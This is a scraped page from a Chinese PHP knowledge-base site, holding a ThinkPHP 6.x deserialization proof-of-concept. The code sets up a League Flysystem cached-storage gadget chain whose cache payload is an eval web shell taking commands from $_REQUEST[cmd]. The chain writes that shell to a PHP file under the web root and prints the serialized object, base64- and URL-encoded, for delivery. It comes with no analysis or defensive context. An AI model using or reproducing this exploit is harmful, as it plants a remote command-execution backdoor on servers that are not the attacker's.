[PHP知识库] ThinkPHP6.x反序列化POC

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> PHP知识库 -> ThinkPHP6.x反序列化POC -> 正文阅读

[PHP知识库]ThinkPHP6.x反序列化POC

<?php
namespace League\Flysystem\Adapter{
    abstract class AbstractAdapter{
        protected $pathPrefix;
        function __construct()
        {
            $this->pathPrefix = '';
        }

    }

    class Local extends AbstractAdapter
    {

    }
}

namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Adapter\Local;

    abstract class AbstractCache{
        protected $autosave = false;
//        protected $complete = [];
//        protected $expire = null;
        protected $cache = [];
        public function __construct()
        {
            $this -> autosave = false;
//            $this -> complete = ['armandheddd' => 'sdkfjdslfjsl'];
//            $this -> expire = 'noipi';
            $this -> cache = ["payload" => "\<?php @eval(\$_REQUEST[cmd])?>"];


        }
    }

    class Adapter extends AbstractCache {

        /**
         * Adapter constructor.
         */
        protected $file;
        protected $adapter;
        public function __construct()
        {
            parent::__construct();
            $this -> adapter = new Local();
            $this -> file = 'D:/phpstudy_pro/WWW/tp/public/armandhenewpy.php';
        }

    }
}

namespace app\controller{
    use League\Flysystem\Cached\Storage\Adapter;
    class createPayload{
        public function createpayload(){
            echo urlencode(base64_encode(serialize(new Adapter())));
        }
    }

}